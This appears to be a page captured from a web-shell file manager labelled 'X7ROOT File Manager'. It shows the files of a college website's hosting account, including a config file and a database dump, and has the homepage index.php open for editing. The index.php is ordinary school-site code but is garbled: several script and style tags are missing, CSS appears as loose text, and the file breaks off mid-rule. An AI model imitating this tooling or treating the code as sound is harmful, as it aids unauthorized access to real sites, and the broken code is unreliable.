File Manager

X7ROOT File Manager

Current Path: /home/u126090504/domains/sistsoro.com/public_html

home / u126090504 / domains / sistsoro.com / public_html /

📁 ..
📄 Antiraging-Cell.php(2.73 KB)
📄 SVM-INT.zip(117.51 MB)
📄 about-us.php(8.62 KB)
📄 academic-calendar.php(2.73 KB)
📄 achievements.php(9.56 KB)
📄 achievers.php(15.19 KB)
📁 admin
📄 admission-process.php(6.84 KB)
📄 admission.php(12.55 KB)
📄 admission_submit.php(3.38 KB)
📄 album.php(890 B)
📄 assessment-policy.php(7.08 KB)
📄 cbse-curriculum-summary.php(6.75 KB)
📄 computer-courses.php(22.83 KB)
📄 config.php(1.2 KB)
📄 contact-us.php(14.59 KB)
📄 contactdb.php(796 B)
📄 courses.php(10.44 KB)
📁 css
📄 director's-message.php(6.53 KB)
📄 downloads.php(2.9 KB)
📄 error.log(14.6 KB)
📄 facilities.php(6.83 KB)
📄 faculty.php(10.27 KB)
📄 fee-structure.php(7.97 KB)
📁 fonts
📄 footer.php(17.78 KB)
📄 franchise.php(2.09 KB)
📄 gallery.php(3.05 KB)
📄 grievance-form.php(16.17 KB)
📄 header.php(17.72 KB)
📄 homework.php(9.64 KB)
📁 images
📄 index.php(37.62 KB)
📄 infrastructure-details.php(5.48 KB)
📁 js
📁 lib
📄 managing-committee.php(3.34 KB)
📄 media-corner.php(2.48 KB)
📄 non-academic-achievers.php(14.65 KB)
📄 payment.php(22.31 KB)
📄 payment_submit.php(15.1 KB)
📄 payment_verify.php(2.31 KB)
📄 peret.php(266.87 KB)
📄 placement.php(8.33 KB)
📄 principal's-message.php(6.52 KB)
📄 public-disclosure.php(3.38 KB)
📁 qrcodes
📁 revolution
📄 scope.php(14.14 KB)
📄 search_videos.php(1.76 KB)
📁 sist
📄 subjects-offered.php(6.9 KB)
📄 submit-grievance.php(3.88 KB)
📁 svm
📄 thank-you.php(1.28 KB)
📄 u126090504_svmint.sql(40.87 KB)
📁 uploads
📄 videos.php(6.87 KB)

Editing: index.php

<?php
require_once 'config.php';
include 'header.php';
?>

<style>
  .notice-bar { position: relative; z-index: 100; }
  header, .site-header, .navbar, .main-nav, .main-menu, .menu, .ttm-header-style-classic,
  .ttm-header-style-classic .ttm-stickable-header,
  .ttm-header-style-classic .site-navigation,
  .ttm-header-style-classic .ttm-menu-toggle,
  .ttm-header-style-classic .ttm-menu-toggle .ttm-menu,
  .ttm-header-style-classic .ttm-stickable-header-w { position: relative; z-index: 2500; }
  .navbar ul li ul, .main-menu ul li ul, .ttm-header-style-classic ul li ul,
  .menu > li > ul, .dropdown-menu { position: absolute; z-index: 3000 !important; }
  .ttm-header-style-classic, .ttm-stickable-header, .site-header { overflow: visible; }
  .slick-slider, .slick-list, .slick-track, .slick-arrow, .mega-menu { z-index: 2001; }
</style>

<?php
// ===== Notice Ticker (Frontend) =====
date_default_timezone_set('Asia/Kolkata');
$__today       = date('Y-m-d');
$__cutoff_ts   = strtotime('-15 days');              // PHP compare (seconds)
$__cutoff_dt   = date('Y-m-d H:i:s', $__cutoff_ts);  // for SQL created_at

// Fetch: ACTIVE window OR created within last 15 days
$__sql = "
  SELECT id, title, url, file_path, starts_on, ends_on, created_at
  FROM notices
  WHERE is_active = 1
    AND (
      (
        (starts_on IS NULL OR starts_on='' OR starts_on='0000-00-00' OR starts_on <= ?)
        AND
        (ends_on   IS NULL OR ends_on=''   OR ends_on='0000-00-00'   OR ends_on   >= ?)
      )
      OR
      (created_at >= ?)
    )
  LIMIT 200
";

$__rows = [];
if (isset($conn) && $stmt = $conn->prepare($__sql)) {
  $stmt->bind_param('sss', $__today, $__today, $__cutoff_dt);
  $stmt->execute();
  $res = $stmt->get_result();
  $__rows = $res ? $res->fetch_all(MYSQLI_ASSOC) : [];
  $stmt->close();
}

// ---- Build ordered list in PHP: NEW first, then OLD (both newest→oldest)
function _p_ts($row) {
  // prefer starts_on if valid; else created_at
  if (!empty($row['starts_on']) && $row['starts_on'] !== '0000-00-00') {
    $ts = strtotime($row['starts_on'].' 00:00:00');
    if ($ts !== false) return $ts;
  }
  if (!empty($row['created_at'])) {
    $ts = strtotime($row['created_at']);
    if ($ts !== false) return $ts;
  }
  return 0;
}

foreach ($__rows as &$r) {
  $r['_pub_ts'] = _p_ts($r);
  $r['_is_new'] = ($r['_pub_ts'] >= $__cutoff_ts);
}
unset($r);

// sort: is_new desc, pub_ts desc, id desc
usort($__rows, function($a, $b){
  if ($a['_is_new'] !== $b['_is_new']) return $a['_is_new'] ? -1 : 1;
  if ($a['_pub_ts'] !== $b['_pub_ts']) return ($a['_pub_ts'] > $b['_pub_ts']) ? -1 : 1;
  return ($a['id'] == $b['id']) ? 0 : (($a['id'] > $b['id']) ? -1 : 1);
});
?>

<?php if (!empty($__rows)): ?>
<style>
  /* ===== Notice Ticker Styles ===== */
  .notice-bar { position: relative; z-index: 100; width: 100%; background: #f1c105; color: #fff;
    font-family: system-ui, -apple-system, Segoe UI, Roboto, Ubuntu, Cantarell, Noto Sans, sans-serif; }
  .notice-bar .container { display: flex; align-items: center; gap: 12px; padding: 8px 16px; overflow: hidden; }
  .notice-bar .label { flex: 0 0 auto; font-weight: 700; letter-spacing: .5px; text-transform: uppercase; font-size: 12px;
    background: #ea0000; color: #fff; padding: 3px 8px; border-radius: 999px; }
  .notice-bar .ticker-wrap { position: relative; flex: 1 1 auto; overflow: hidden; cursor: pointer; }
  .notice-bar .ticker { display: flex; white-space: nowrap; will-change: transform; transition: transform 0.2s linear; }
  .notice-bar .ticker a { color: #000000; text-decoration: underline; font-weight:bold; }
  .notice-bar .item { display: inline-block; padding: 0 24px; font-size: 14px; line-height: 1.6; }
  .notice-bar .dot { display: inline-block; width: 6px; height: 6px; background: #ea0000; border-radius: 50%; margin: 0 8px; vertical-align: middle; }
  .blink-new { background:#ea0000; color:#fff; border-radius:6px; padding:1px 6px; font-size:11px; font-weight:700;
    animation:newBlink 1s steps(2,start) infinite; margin-left:8px; }
  @keyframes newBlink { 50% { opacity: .15; } }
</style>

<div class="notice-bar">
  <div class="container">
    <span class="label">LATEST UPDATES</span>
    <div class="ticker-wrap" id="noticeTickerWrap" title="Click to Pause/Resume">
      <div class="ticker" id="noticeTicker">
        <?php foreach ($__rows as $__n):
          $__t = htmlspecialchars($__n['title'] ?? '', ENT_QUOTES, 'UTF-8');
          $__u = trim($__n['url'] ?? '');
          $__f = trim($__n['file_path'] ?? '');
          $__href = $__f ? $__f : $__u; // file link first
          $__isNew = !empty($__n['_is_new']);
        ?>
          <span class="item">
            <?php if ($__href): ?>
              <a href="<?php echo htmlspecialchars($__href, ENT_QUOTES, 'UTF-8'); ?>"><?php echo $__t; ?></a>
            <?php else: ?>
              <?php echo $__t; ?>
            <?php endif; ?>
            <?php if ($__isNew): ?><span class="blink-new">NEW</span><?php endif; ?>
            <span class="dot" aria-hidden="true"></span>
          </span>
        <?php endforeach; ?>
      </div>
    </div>
  </div>
</div>

// Duplicate content for seamless loop (order preserved: NEW block first, then OLD block)
  track.innerHTML = track.innerHTML + track.innerHTML;

var speed = 60; // px/sec
  var x = 0, paused = false, contentWidth = track.scrollWidth / 2;

function animate(){
    if (!paused) {
      x -= (speed / 60);
      if (-x >= contentWidth) x = 0;
      track.style.transform = 'translateX(' + x + 'px)';
    }
    requestAnimationFrame(animate);
  }

if (document.readyState === 'complete' || document.readyState === 'interactive') animate();
  else document.addEventListener('DOMContentLoaded', animate);

wrap.addEventListener('mouseenter', function(){ paused = true; });
  wrap.addEventListener('mouseleave', function(){ paused = false; });
  wrap.addEventListener('click', function(){ paused = !paused; });
})();
</script>
<?php endif; ?>

<?php
require_once 'config.php';

// ✅ आज की date
$today = date("Y-m-d");

// ✅ Active popup fetch करो (date valid होना चाहिए)
$stmt = $conn->prepare("SELECT * FROM popup_banner 
                        WHERE status=1 
                        AND (start_date IS NULL OR start_date <= ?) 
                        AND (end_date IS NULL OR end_date >= ?) 
                        ORDER BY id DESC LIMIT 1");
$stmt->bind_param("ss", $today, $today);
$stmt->execute();
$res = $stmt->get_result();

if ($res->num_rows > 0) {
    $popup = $res->fetch_assoc();
    $popupImage = "uploads/popup/" . htmlspecialchars($popup['image']);
    $popupLink  = htmlspecialchars($popup['link']);
?>

<div id="popup-overlay">
  <div id="popup-box">
    <a href="<?php echo $popupLink ?: '#'; ?>" target="_blank" rel="noopener">
      <img src="<?php echo $popupImage; ?>" alt="Popup">
    </a>
    <span id="popup-close" aria-label="Close popup">&times;</span>
  </div>
</div>

<style>
#popup-overlay {
  position: fixed; top:0; left:0;
  width:100%; height:100%;
  background: rgba(0,0,0,0.6);
  display:flex; align-items:center; justify-content:center;
  z-index: 5000; /* above everything */
  visibility:hidden; opacity:0;
  transition:opacity 0.3s ease-in-out;
}
#popup-box {
  position:relative; background:#fff;
  padding:10px; border-radius:12px;
  box-shadow:0 5px 20px rgba(0,0,0,0.3);
  animation:zoomIn 0.4s ease;
  max-width:500px; width:90%;
}
#popup-box img { width:100%; border-radius:10px; }
#popup-close {
  position:absolute; top:-10px; right:-10px;
  background:#f00; color:#fff;
  font-size:22px; font-weight:bold;
  border-radius:50%; padding:0 8px;
  cursor:pointer;
}
@keyframes zoomIn { from {transform:scale(0.8);} to {transform:scale(1);} }
</style>

<script>
window.addEventListener("load", function(){
  setTimeout(function(){
    var ov = document.getElementById("popup-overlay");
    if (ov) { ov.style.visibility = "visible"; ov.style.opacity = "1"; }
  }, 2000);
});

<div class="banner-slider slick_slider slick-arrows-style1" 
     data-slick='{"slidesToShow": 1, "slidesToScroll": 1, "arrows":true, "autoplay":true,
     "responsive": [{"breakpoint":870,"settings":{"slidesToShow": 1}},
                    {"breakpoint":525,"settings":{"slidesToShow": 1}}]}'>

<?php
  $stmt = $conn->prepare("SELECT imgfile FROM bannertab ORDER BY position ASC, id DESC");
  $stmt->execute();
  $result = $stmt->get_result();

if ($result->num_rows > 0) {
      while ($row = $result->fetch_assoc()) {
          $img = htmlspecialchars($row['imgfile']);
          echo '<div class="banner-slide">
                  <img class="img-fluid" src="uploads/banners/'.$img.'" alt="SVM International School"/>
                </div>';
      }
  } else {
      echo "<p>No Banners Found</p>";
  }
  ?>
</div>

<div class="site-main">

<section class="ttm-row introduction-section clearfix" style="margin-top:-10%;">
    <div class="container">
      <div class="row">
        <div class="col-lg-8 col-xs-12">
          
          <div class="section-title">
            <div class="title-header">
              <h2 class="title" style="font-size:25px; color:#0a6d91;"> Welcome to SRI RAM INSTITUTE OF SCIENCE AND TECHNOLOGY (SIST)</h2>
            </div>
            <div class="heading-seperator"><span></span></div>
          </div>
          <p style="text-align:justify; font-size:18px; color:#1a1a1a;">
SRI RAM INSTITUTE OF SCIENCE AND TECHNOLOGY (SIST) is a reputed +2 Science Residential College located at N.H.-16, Near Talanagar Railway Over Bridge, Soro, Balasore, Odisha. The institution was founded with a strong commitment to provide quality science education in a disciplined, residential academic environment.<br/>

Established under the visionary leadership of Chairman Indrajeet Dey, SIST was created to bridge the gap between traditional classroom learning and the evolving demands of higher education and competitive careers. The institute focuses on building a solid academic foundation while nurturing curiosity, confidence, and character among students.<br/>
At SIST, education goes beyond textbooks. We emphasize conceptual clarity, regular assessment, and personal mentoring, ensuring that every student receives individual attention and guidance. Our experienced faculty members adopt modern teaching methodologies to make learning engaging, practical, and result-oriented.

</p>
   </div>

<style>
  :root{
    --ink:#0a1340;          /* deep navy */
    --link:#0b3bff;         /* brand blue */
    --muted:#8b93a7;        /* subtle grey */
    --card:#ffffff;         /* card bg  */
    --ring:rgba(15,23,42,.08);
  }

.bulletin-card{
    background: var(--card);
    border: 1px solid var(--ring);
    border-radius: 16px;
    box-shadow: 0 10px 30px rgba(15,23,42,.08);
    padding: 20px 22px;
  }
  .bulletin-head{
    display:flex; align-items:center; justify-content:space-between;
    margin-bottom:14px;
  }
  .bulletin-title{
    font-size:24px; font-weight:800; color:var(--ink); letter-spacing:.2px;
    white-space:nowrap; overflow:hidden;
  }
  /* typing caret only (text set by JS) */
  .typing-caret{ border-right:2px solid var(--ink); padding-right:2px;
    animation: caretBlink .8s steps(1,end) infinite;
  }
  @keyframes caretBlink{ 50%{ border-color: transparent; } }

.notice-shell{
    border:1px solid var(--ring); border-radius:12px; background:#fafbff;
    padding:12px 14px; height:300px; overflow:hidden;
  }
  marquee{ height:100%; }
  .notice-item{ margin:0 0 10px 0; padding:0 0 10px 0; border-bottom:1px dashed rgba(15,23,42,.06); }
  .notice-item:last-child{ border-bottom:0; }
  .notice-item h5{ margin:0; font-size:15px; font-weight:600; color:#2a2f45; line-height:1.45; }
  .notice-item h5 a{ color:var(--link); text-decoration:none; }
  .notice-item h5 a:hover{ text-decoration:underline; }
  .notice-date{ color:var(--muted); font-weight:700; margin-right:6px; }
  .badge-new{ height:18px; margin:0 6px 0 0; vertical-align:-3px; }
</style>

<div class="bulletin-head">
        <h3 class="bulletin-title">
          <span id="bulletinTyping" class="typing-caret" style="color:#ea0000;">Information Bulletin &raquo;&raquo;&raquo;</span>
        </h3>
      </div>

<div class="notice-shell">
        <marquee direction="up" scrolldelay="4" scrollamount="4"
                 onmouseover="this.stop();" onmouseout="this.start();">
          <?php
          // Fetch latest notices
          $stmt = $conn->prepare("SELECT id, date, ntext, nurl, nurl1 FROM nboard ORDER BY date DESC, id DESC");
          $stmt->execute();
          $res = $stmt->get_result();

if ($res->num_rows > 0) {
              while ($row = $res->fetch_assoc()) {
                  $date = htmlspecialchars($row['date'] ?? '');
                  $text = htmlspecialchars($row['ntext'] ?? '');
                  $isNew = false;

if (!empty($row['date'])) {
                      $noticeDate = new DateTime($row['date']);
                      $today = new DateTime();
                      $diff = $today->diff($noticeDate)->days;
                      if ($noticeDate <= $today && $diff <= 15) { $isNew = true; }
                  }

echo "<div class='notice-item'><h5 style=\"color:#490101; font-weight:600;\">";
                  if ($isNew) {
                      echo "<img class='badge-new' src='images/new1.gif' alt='New'>";
                  }
                  echo "<span class='notice-date' style='color:black; margin-right:6px;'>$date</span>";

if (!empty($row['nurl'])) {
                      $link = 'uploads/notices/' . htmlspecialchars($row['nurl']);
                      echo "<a href='$link' target='_blank' rel='noopener' style='color:#490101; text-decoration:none;'>$text</a>";
                  } elseif (!empty($row['nurl1'])) {
                      $link = htmlspecialchars($row['nurl1']);
                      if (!preg_match('~^(?:f|ht)tps?://~i', $link)) { $link = 'https://' . $link; }
                      echo "<a href='$link' target='_blank' rel='noopener' style='color:#490101; text-decoration:none;'>$text</a>";
                  } else {
                      echo $text;
                  }
                  echo "</h5></div>";
              }
          } else {
              echo "<div class='notice-item'><h5 style='color:#490101;'><span class='notice-date' style='color:black;'>—</span>We will soon update this page</h5></div>";
          }
          ?>
        </marquee>
      </div>
    </div>
  </div>
</div>

<script>
(function(){
  // Random rotating phrases for the heading
  const phrases = [
    "Information Bulletin >>>",
    "Latest Updates >>>",
    "Notices & Circulars >>>",
    "Important Announcements >>>",
    "Campus Notice Board >>>"
  ];

const el = document.getElementById('bulletinTyping');
  if(!el) return;

let phrase = "", idx = 0, pos = 0, deleting = false;

// pick next random phrase (different from current)
  function nextPhrase(){
    let next;
    do { next = phrases[Math.floor(Math.random()*phrases.length)]; }
    while(next === phrase);
    phrase = next;
  }

// init
  nextPhrase();
  el.textContent = "";
  typeLoop();
})();
</script>
         </div>
    </div>
  </section>
  
  
  
  
    
  <section class="ttm-row course-section ttm-bgcolor-grey clearfix">
  <div class="container">
    <div class="section-title title-style-center_text">
      <div class="title-header">
        <h3 class="title" style="color:#490101; font-size:30px;">Our Top Achievers</h3>
      </div>
      <div class="heading-seperator"><span></span></div>
    </div>

<div class="swiper achievers-swiper">
      <div class="swiper-wrapper">
        <?php
        // Check if marks_pct column exists
        $colCheck = $conn->query("SHOW COLUMNS FROM fboard LIKE 'marks_pct'");
        $hasMarks = ($colCheck && $colCheck->num_rows > 0);

$stmt = $conn->prepare("SELECT fimg, fname, des, exp, qual" . ($hasMarks ? ", marks_pct" : "") . " FROM fboard ORDER BY id ASC");
        $stmt->execute();
        $res = $stmt->get_result();

if ($res->num_rows > 0) {
          while ($row = $res->fetch_assoc()) {
            $fimg  = htmlspecialchars($row['fimg']);
            $fname = htmlspecialchars($row['fname']);
            $des   = htmlspecialchars($row['des']);
            $exp   = htmlspecialchars($row['exp']);
            $qual  = htmlspecialchars($row['qual']);
            $marks = $hasMarks && $row['marks_pct'] !== null ? number_format((float)$row['marks_pct'], 2) . "%" : "";
            ?>
            <div class="swiper-slide">
              <div class="featured-imagebox featured-imagebox-post style1">
                <div class="ttm-post-thumbnail featured-thumbnail position-relative">
                  <img class="img-fluid" src="uploads/faculty/<?php echo $fimg; ?>" alt="achiever image" style="object-fit:contain; width:100%; height:300px;">
                  <?php if ($marks): ?>
                    <span class="marks-badge"><?php echo $marks; ?></span>
                  <?php endif; ?>
                </div>
                <div class="featured-content featured-content-post">
                  <div class="ttm-box-post-date">
                    <span class="ttm-entry-date"><?php echo $fname; ?></span>
                  </div>
                  <div class="post-meta">
                    <span><i class="fa fa-user"></i> Course: <?php echo $des; ?></span><br>
                    <span><i class="fa fa-tag"></i> Session: <?php echo $exp; ?></span>
                  </div>
                  <div class="post-title featured-title">
                    <h5>Placed at: <?php echo $qual; ?></h5>
                  </div>
                </div>
              </div>
            </div>
          <?php
          }
        } else {
          echo "<p>No Records Found</p>";
        }
        ?>
      </div>
    </div>
  </div>
</section>

<style>
.marks-badge {
  position: absolute;
  top: 10px;
  right: 10px;
  background: #ea0000;
  color: #fff;
  font-size: 13px;
  padding: 6px 10px;
  font-weight: 700;
  border-radius: 999px;
  box-shadow: 0 4px 10px rgba(234, 0, 0, 0.25);
}
</style>

<section class="pro-facilities" id="facilities">

<div class="pro-container">
    <header class="pro-header">
      <h2>Our Campus Facilities</h2>
      <p>
        Thoughtfully designed to support academic excellence, residential comfort,
        safety, discipline, and holistic student development.
      </p>
    </header>

<div class="pro-card">
        <div class="pro-icon">🚌</div>
        <h3>Safe & Reliable Transport</h3>
        <p>
          Well-managed transport facilities connecting nearby areas with trained drivers,
          safety protocols, and punctual service for students and staff.
        </p>
      </div>

<div class="pro-card">
        <div class="pro-icon">💻</div>
        <h3>Smart Digital Classrooms</h3>
        <p>
          Modern classrooms equipped with digital teaching aids, smart boards,
          and visual learning tools to enhance conceptual understanding.
        </p>
      </div>

<div class="pro-card">
        <div class="pro-icon">🔬</div>
        <h3>Advanced Science Laboratories</h3>
        <p>
          Fully equipped Physics, Chemistry, Biology, and Computer laboratories
          enabling hands-on learning, experimentation, and scientific thinking.
        </p>
      </div>

<div class="pro-card">
        <div class="pro-icon">🏏</div>
        <h3>Sports & Physical Fitness</h3>
        <p>
          Dedicated indoor and outdoor sports facilities encouraging physical fitness,
          teamwork, leadership skills, and a healthy lifestyle.
        </p>
      </div>

<div class="pro-card">
        <div class="pro-icon">📚</div>
        <h3>Library & Study Resources</h3>
        <p>
          A peaceful library environment with academic textbooks, reference materials,
          and competitive exam resources to support focused study.
        </p>
      </div>

<div class="pro-card">
        <div class="pro-icon">🏫</div>
        <h3>Residential Hostel Facility</h3>
        <p>
          Secure and hygienic hostel accommodation with nutritious meals, supervision,
          discipline, and a supportive home-like atmosphere.
        </p>
      </div>

</div>
  </div>
</section>

.pro-facilities {
  position: relative;
  padding: 90px 20px;
  background: url("https://images.unsplash.com/photo-1523050854058-8df90110c9f1") center/cover no-repeat;
  color: #ffffff;
}

.pro-overlay {
  position: absolute;
  inset: 0;
  background: rgba(4 86 85 / 95%);
}

.pro-container {
  position: relative;
  max-width: 1200px;
  margin: auto;
  z-index: 1;
}

/* Header */
.pro-header {
  text-align: center;
  margin-bottom: 60px;
}

.pro-header h2 {
  font-size: 38px;
  font-weight: 700;
  color: #ffffff;
}

.pro-header p {
  margin-top: 10px;
  color: #cfd8ff;
  font-size: 16px;
  max-width: 700px;
  margin-left: auto;
  margin-right: auto;
}

/* Grid */
.pro-grid {
  display: grid;
  grid-template-columns: repeat(12, 1fr);
  gap: 30px;
}

.pro-card {
  grid-column: span 12;
  background: #0f1e3a;
  border-left: 4px solid #ffe109;
  border-radius: 12px;
  padding: 32px 28px;
  transition: transform 0.3s ease, box-shadow 0.3s ease;
}

@media (min-width: 768px) {
  .pro-card { grid-column: span 6; }
}
@media (min-width: 1024px) {
  .pro-card { grid-column: span 4; }
}

.pro-card:hover {
  transform: translateY(-6px);
  box-shadow: 0 15px 35px rgba(0,0,0,0.4);
}

/* Icon */
.pro-icon {
  width: 60px;
  height: 60px;
  border-radius: 10px;
  background: #002bff;
  display: flex;
  align-items: center;
  justify-content: center;
  font-size: 28px;
  margin-bottom: 18px;
}

/* Text */
.pro-card h3 {
  font-size: 18px;
  font-weight: 600;
  margin-bottom: 10px;
  color: #ffffff;
}

.pro-card p {
  font-size: 15px;
  line-height: 1.6;
  color: #d6defa;
}
</style>

<div class="about-images-fixed">

</div>

<div class="about-content-fixed">

<h2 style="font-size:22px;">
       Why We Are the Best +2 Science Residential College in Soro?<br>
       
      </h2>

<p class="desc">
       At SRI RAM INSTITUTE OF SCIENCE AND TECHNOLOGY (SIST), we believe excellence is not claimed — it is built through commitment, discipline, and results. Our institution stands apart because we focus on strong fundamentals, structured residential learning, and individual student growth.
      </p>

<div class="feature">
        
          <div>
            <h4>🎓 Strong Academic Foundation</h4>
            <p style="font-size:17px;">We deliver concept-driven education in Physics, Chemistry, Mathematics, and Biology, ensuring students build a solid base for higher studies, competitive examinations, and future careers.</p>
          </div>
        </div>

<div class="feature">
        
          <div>
            <h4>Experienced & Dedicated Faculty</h4>
            <p style="font-size:17px;">Our faculty members are highly qualified, experienced, and deeply committed to student success. Personalized mentoring, regular assessments, and doubt-clearing sessions ensure no student is left behind.</p>
          </div>
        </div>
        
        
       
      </div>

<div class="actions">
        <a href="admission.php" class="btn">Apply Now →</a>
        <div class="call">
          <div class="call-icon">📞</div>
          <div>
            <small>Call Now</small>
            <strong>
7978620299</strong>
          </div>
        </div>
      </div>

</div>
  </div>
</section>

/* ================= IMAGE GRID ================= */
.about-images-fixed{
  display:grid;
  grid-template-columns:1fr 1fr;
  gap:24px;
  align-items:start;
}

.img-big{
  grid-row:span 2;
}
.img-big img{
  width:100%;
  border-radius:180px 0 180px 0;
}

.img-circle{
  width:220px;
  height:220px;
  border:3px dashed #ff9800;
  border-radius:50%;
  padding:8px;
  justify-self:center;
}
.img-circle img{
  width:100%;
  height:100%;
  border-radius:50%;
  object-fit:cover;
}

.img-small img{
  width:100%;
  border-radius:26px;
}

.exp-badge{
  grid-column:1/3;
  background:#ff9800;
  color:#fff;
  padding:20px;
  border-radius:26px;
  width:max-content;
}

/* ================= CONTENT ================= */
.tag{
  color:#ff9800;
  font-weight:600;
  letter-spacing:1px;
}
.about-content-fixed h2{
  font-size:42px;
  margin:14px 0;
}
.about-content-fixed h2 span{color:#ff9800}
.desc{color:#6b7280;margin-bottom:28px}

/* ================= FEATURES ================= */
.features{display:grid;gap:24px}
.feature{
  display:flex;
  gap:14px;
}
.icon{
  width:52px;
  height:52px;
  background:#ff9800;
  color:#fff;
  border-radius:50%;
  display:flex;
  align-items:center;
  justify-content:center;
  font-size:22px;
}

.quote{
  background:#eef3f2;
  padding:22px;
  border-radius:20px;
  position:relative;
}
.quote span{
  position:absolute;
  right:16px;
  bottom:10px;
  font-size:26px;
  color:#1f7a63;
}

/* ================= ACTIONS ================= */
.actions{
  margin-top:34px;
  display:flex;
  gap:30px;
  align-items:center;
}
.btn{
  background:#ff9800;
  color:#fff;
  padding:14px 34px;
  border-radius:30px;
  text-decoration:none;
  font-weight:600;
}
.call{
  display:flex;
  gap:12px;
  align-items:center;
}
.call-icon{
  width:46px;
  height:46px;
  background:#1f7a63;
  border-radius:50%;
  display:flex;
  align-items:center;
  justify-content:center;
  color:#fff;
}

/* ================= MOBILE ================= */
@media(max-width:900px){
  .about-wrap-fixed{
    grid-template-columns:1fr;
    gap:40px;
  }
  .about-images-fixed{
    grid-template-columns:1fr;
  }
  .about-content-fixed h2{font-size:32px}
  .actions{
    flex-direction:column;
    align-items:stretch;
  }
  .btn{text-align:center}
  .call{justify-content:center}
}
</style>

<section class="faq-admission-pro">
  <div class="fa-pro-container">

<div class="fa-pro-faq">
      <h2 class="fa-pro-title">🧾 Frequently Asked Questions (FAQs)</h2>

<details open>
        <summary>1️⃣ What courses are offered at SIST?</summary>
        <p>
          SRI RAM INSTITUTE OF SCIENCE AND TECHNOLOGY (SIST) offers +2 Science education with core subjects including Physics, Chemistry, Mathematics, and Biology, following a structured academic curriculum.
        </p>
      </details>

<details>
        <summary>2️⃣ Is SIST a residential college?</summary>
        <p>
          Yes. SIST is a fully residential +2 Science college providing secure hostel facilities with supervised study hours, nutritious meals, and a disciplined academic environment.
        </p>
      </details>

<details>
        <summary>3️⃣ How does SIST ensure academic excellence?</summary>
        <p>
         SIST focuses on concept-based teaching, experienced faculty, regular assessments, and personal mentoring to help every student achieve consistent academic growth and strong fundamentals.
        </p>
      </details>

<details>
        <summary>4️⃣ Are hostel and campus facilities safe for students?</summary>
        <p>
          Absolutely. The campus maintains strict discipline, security supervision, hygienic hostel accommodation, and student-care systems, ensuring a safe and supportive environment for all students.
        </p>
      </details>

<details>
        <summary>5️⃣ How can parents contact SIST for admission inquiries?</summary>
        <p>
          Parents can contact the admission office directly at 📞 7978620299 / 9437385534 or visit the campus located at N.H.-16, Near Talanagar Railway Over Bridge, Soro, Balasore, Odisha for detailed guidance.
        </p>
      </details>
    </div>

<div class="fa-pro-image">
      <img src="images/svm2.jpg" alt="SIST">
    </div>

</div>
</section>

<style>
.faq-admission-pro{
  background:#f6f8fc;
  padding:60px 0;
  font-family:Arial, sans-serif;
}

.fa-pro-container{
  max-width:1200px;
  margin:auto;
  padding:0 15px;
  display:grid;
  grid-template-columns:1.4fr 0.6fr;
  gap:30px;
}

/* Mobile */
@media(max-width:991px){
  .fa-pro-container{
    grid-template-columns:1fr;
  }
}

/* FAQ */
.fa-pro-faq{
  background:#fff;
  padding:30px;
  border-radius:16px;
  box-shadow:0 12px 35px rgba(0,0,0,.08);
}

.fa-pro-title{
  font-size:26px;
  margin-bottom:22px;
}

.fa-pro-faq details{
  border:1px solid #e5e5e5;
  border-radius:10px;
  margin-bottom:12px;
  padding:14px 18px;
}

.fa-pro-faq summary{
  font-weight:600;
  cursor:pointer;
}

.fa-pro-faq p{
  margin-top:10px;
  color:#444;
  line-height:1.6;
}

/* IMAGE PANEL */
.fa-pro-image{
  background:#0b1fa8;
  border-radius:16px;
  padding:20px;
  display:flex;
  align-items:center;
  justify-content:center;
  position:sticky;
  top:20px;
  box-shadow:0 12px 35px rgba(0,0,0,.15);
}

.fa-pro-image img{
  width:100%;
  max-width:320px;
  height:auto;
  border-radius:12px;
  object-fit:contain;
}

/* Mobile image fix */
@media(max-width:600px){
  .fa-pro-image{
    position:relative;
    top:0;
  }

.fa-pro-image img{
    max-width:260px;
  }
}
</style>

<section class="testimonials">
  <h2>TESTIMONIALS</h2>
  <div class="heading-separator"><span></span></div>

<div class="testimonial-carousel">
    <div class="testimonial-track">
      <?php
      // ✅ Fetch testimonials from DB
      $stmt = $conn->prepare("SELECT name, role, message, photo, rating FROM testimonials ORDER BY id DESC LIMIT 12");
      $stmt->execute();
      $res = $stmt->get_result();

if ($res->num_rows > 0) {
          while ($row = $res->fetch_assoc()) {
              $name = htmlspecialchars($row['name']);
              $role = htmlspecialchars($row['role']);
              $message = htmlspecialchars($row['message']);
              $rating = (int)$row['rating'];
              $photo = !empty($row['photo']) ? "uploads/testimonials/" . htmlspecialchars($row['photo']) : "images/default-user.png";
              ?>
              <div class="testimonial-card">
                <img src="<?php echo $photo; ?>" alt="<?php echo $name; ?>">
                <p>"<?php echo $message; ?>"</p>
                <div class="stars">
                  <?php for ($i = 1; $i <= $rating; $i++) echo "⭐"; ?>
                </div>
                <h4><?php echo $name; ?> <span><?php echo $role; ?></span></h4>
              </div>
              <?php
          }
      } else {
          echo "<p>No testimonials available</p>";
      }
      ?>
    </div>
  </div>
</section>

.testimonials h2 {
  font-size: 36px;
  font-weight: 700;
  color: #ea0000;
  margin-bottom: 10px;
  text-transform: uppercase;
  letter-spacing: 1px;
}

/* 🔻 Animated separator line */
.heading-separator {
  display: flex;
  justify-content: center;
  align-items: center;
  margin: 10px auto 50px;
  position: relative;
}
.heading-separator span {
  display: inline-block;
  width: 120px;
  height: 3px;
  background: #ea0000;
  border-radius: 3px;
  position: relative;
  overflow: hidden;
}
.heading-separator span::after {
  content: "";
  position: absolute;
  top: 0;
  left: -50%;
  width: 50%;
  height: 100%;
  background: #000;
  animation: separatorAnim 2s infinite linear;
}
@keyframes separatorAnim {
  0% { left: -50%; }
  50% { left: 100%; }
  100% { left: -50%; }
}

/* 🎠 Testimonial carousel */
.testimonial-carousel {
  width: 100%;
  overflow: hidden;
  max-width: 1100px;
  margin: 0 auto;
  position: relative;
}
.testimonial-track {
  display: flex;
  animation: slideDesktop 30s infinite;
  scroll-snap-type: x mandatory;
  -webkit-overflow-scrolling: touch;
}
.testimonial-carousel:hover .testimonial-track {
  animation-play-state: paused;
}

/* 💬 Testimonial card */
.testimonial-card {
  flex: 0 0 33.33%;
  background: #fff;
  border-radius: 15px;
  padding: 30px 20px;
  margin: 0 12px;
  box-shadow: 0 10px 25px rgba(0,0,0,0.08);
  text-align: center;
  scroll-snap-align: center;
  transition: transform 0.4s ease, box-shadow 0.4s ease;
}
.testimonial-card:hover {
  transform: translateY(-8px);
  box-shadow: 0 15px 30px rgba(0,0,0,0.12);
}

.testimonial-card img {
  width: 90px;
  height: 90px;
  border-radius: 50%;
  object-fit: cover;
  border: 3px solid #ea0000;
  margin-bottom: 15px;
}
.testimonial-card p {
  font-size: 15px;
  color: #444;
  line-height: 1.6;
